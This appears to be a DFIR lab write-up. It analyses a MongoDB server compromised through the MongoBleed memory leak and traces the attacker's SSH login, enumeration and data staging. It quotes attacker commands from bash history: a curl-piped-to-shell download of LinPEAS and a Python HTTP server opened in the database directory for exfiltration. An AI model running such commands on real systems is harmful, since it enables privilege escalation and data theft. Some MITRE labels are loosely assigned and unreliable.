MangoBleed

Difficulty: Very Easy
Type: DFIR

Sherlock Scenario

You were contacted early this morning to handle a high-priority incident involving a suspected compromised server. The host, mongodbsync, is a secondary MongoDB server. According to the administrator, it's maintained once a month, and they recently became aware of a vulnerability referred to as MongoBleed. As a precaution, the administrator has provided you with root-level access to facilitate your investigation.

You have already collected a triage acquisition from the server using UAC. Perform a rapid triage analysis of the collected artifacts to determine whether the system has been compromised, identify any attacker activity (initial access, persistence, privilege escalation, lateral movement, or data access/exfiltration), and summarize your findings with an initial incident assessment and recommended next steps.

CVE-2025-14847

The vulnerability in question is CVE-2025-14847, commonly known as MongoBleed (named after the famous Heartbleed bug due to similar memory disclosure characteristics). This is a high-severity unauthenticated memory-leak vulnerability (CVSS 8.7) in MongoDB Server, stemming from improper handling of zlib-compressed network messages. When zlib compression is enabled, an attacker can send specially crafted compressed packets to trigger a leak of uninitialized heap memory, potentially exposing sensitive data such as credentials, session tokens, API keys, or database contents — all without any authentication.

The flaw affects a wide range of MongoDB versions (including legacy branches back to ~2017 and recent ones up to 8.0.16), particularly when network compression is active. Exploitation is trivial with public PoCs available, and active scanning/exploitation in the wild was observed shortly after disclosure in December 2025.

Investigation

Extracting Artifacts

We begin by extracting the provided triage archive MangoBleed.zip in a safe, sandboxed environment (REMnux recommended).

Extracting the triage archive.

After extraction, we find the main directory: uac-mongodbsync-linux-triage — a full filesystem snapshot containing critical logs and user artifacts from the compromised host.

Determining MongoDB Version and Vulnerability Status

To check if the server was vulnerable to MongoBleed (CVE-2025-14847), we examine the APT installation history:

grep "mongodb" uac-mongodbsync-linux-triage/\[root\]/var/log/apt/history.log

Parsing through apt install logs to find the MongoDB version.

The output reveals that MongoDB version 8.0.16 (along with related packages like mongod-org-server, mongod-org-shell, etc.) was installed — this version is confirmed vulnerable to CVE-2025-14847.

Analyzing MongoDB Logs with MongoBleed Detector

To detect exploitation of CVE-2025-14847, we use the open-source mongobleed-detector tool by Florian Roth (Neo23x0).

First, setup steps on REMnux:

git clone https://github.com/Neo23x0/mongobleed-detector.git
cd mongobleed-detector/
chmod +x mongobleed-detector.sh ftdc-decode.py mongobleed-remote.py
pip3 install -r requirements.txt

The tool parses MongoDB server logs (connection events, metadata, disconnections) and applies heuristics:

• Connection count threshold
• Burst rate (connections per minute)
• Metadata rate anomalies

We analyze the MongoDB logs with a wide time window (-t 100000 minutes) to cover the entire relevant period:

./mongobleed-detector.sh "../uac-mongodbsync-linux-triage/\[root\]/var/log/mongodb/*.log" -t 100000

MongoBleed detector output showing HIGH risk exploitation.

Key findings:

• HIGH risk detected from IP 65.0.76.43
• 37,630 malicious connections
• Burst rate: 30,104 connections/min
• First seen: 2025-12-29T05:25:52Z
• Last seen: 2025-12-29T05:27:07Z
• Summary: Likely exploitation confirmed — patching alone is insufficient; credential rotation and data review required.

This confirms active exploitation of CVE-2025-14847 from the attacker IP.

Confirming Successful Remote Access via auth.log

Now we correlate the attacker IP with successful logins in /var/log/auth.log:

grep "65.0.76.43" uac-mongodbsync-linux-triage/\[root\]/var/log/auth.log | grep "Accepted"

Logs that show the attacker was successfully able to compromise host and log in to it.

Logs that show successful SSH logins as user mongoadmin:

1. 2025-12-29T05:40:03.475659+00:00 ip-172-31-38-170 sshd[39962]: Accepted keyboard-interactive/pam for mongoadmin from 65.0.76.43 port 46062 ssh2

The attacker gained interactive shell access around 29th Dec, 2025 at 05:40:03 UTC and remained active for approximately 8 minutes - from 05:40:03 UTC till 05:48:28 UTC.

Logs that show the dwell time of attacker.

Post-Compromise Activity – Bash History Analysis

We examine the bash history of the compromised user mongoadmin:

cat uac-mongodbsync-linux-triage/\[root\]/home/mongoadmin/.bash_history

Attacker commands executed as mongoadmin.

Attacker actions (in chronological order):

• Enumeration: ls -la, whoami, ls -al, ls /var/lib/mongodb/, directory traversal (cd /data, cd /, cd ..)
• Privilege escalation reconnaissance: Downloaded and executed LinPEAS (in-memory script)
  curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh
• Tool installation: Installed zip package (apt install zip)
• Data staging / exfiltration preparation: Started a Python HTTP server in the MongoDB data directory
  cd /var/lib/mongodb/
python3 -m http.server 6969

This strongly indicates the attacker was enumerating the system, attempting privilege escalation, accessing the MongoDB data directory (/var/lib/mongodb/), and preparing to exfiltrate data via a simple web server.

MITRE ATT&CK Timeline

Tactic	Technique
Initial Access	T1190 – Exploit Public-Facing Application (CVE-2025-14847)
Execution	T1059.004 – Command and Scripting Interpreter: Unix Shell
Credential Access	T1003 – OS Credential Dumping (memory leak via MongoBleed)
Discovery	T1083 – File and Directory Discovery
Discovery	T1082 – System Information Discovery
Persistence / Lateral Movement	T1078 – Valid Accounts (SSH as mongoadmin)
Collection	T1567 – Exfiltration Over Web Service (potential via HTTP server)

Indicators of Compromise (IOCs)

IOC Type	Value	Description
Vulnerability	CVE-2025-14847 (MongoBleed)	Unauthenticated memory leak in MongoDB zlib compression
Affected Version	MongoDB 8.0.16	Installed vulnerable version
Attacker IP	65.0.76.43	Source of exploitation and SSH access
Malicious Connections	37,630 (total)	Detected in MongoDB logs during exploitation
Exploitation Start	2025-12-29T05:25:52Z	Earliest confirmed malicious activity
SSH Access Time	~2025-12-29T05:39–05:40 UTC	Successful login as mongoadmin
Persistence Tool	linpeas.sh	Downloaded from GitHub for privilege escalation enumeration
Exfil Server	Python HTTP server on port 6969 in /var/lib/mongodb/	Likely for data staging/exfiltration
Target Directory	/var/lib/mongodb/	Attacker's primary interest – MongoDB data files

Attack Timeline Summary

Time (UTC)	Event
2025-12-29T05:25:52Z	Exploitation of CVE-2025-14847 (MongoBleed) begins from 65.0.76.43
~05:39–05:40 UTC	Attacker gains SSH access as user mongoadmin
During 8-minute session	Enumeration, LinPEAS execution, zip installation, directory traversal
Session end	Attacker starts Python HTTP server in MongoDB data dir for potential exfiltration

Initial Assessment & Recommendations
The system was compromised via CVE-2025-14847 (MongoBleed), followed by credential compromise (likely from leaked secrets), successful SSH access, post-exploitation enumeration, and preparation for data exfiltration.

Immediate actions:

• Isolate the host
• Rotate all credentials (MongoDB, SSH, application)
• Patch to a fixed MongoDB version (≥8.0.17)
• Review /var/lib/mongodb/ for data tampering / exfiltration
• Collect full forensic image for deeper analysis
• Scan network for lateral movement indicators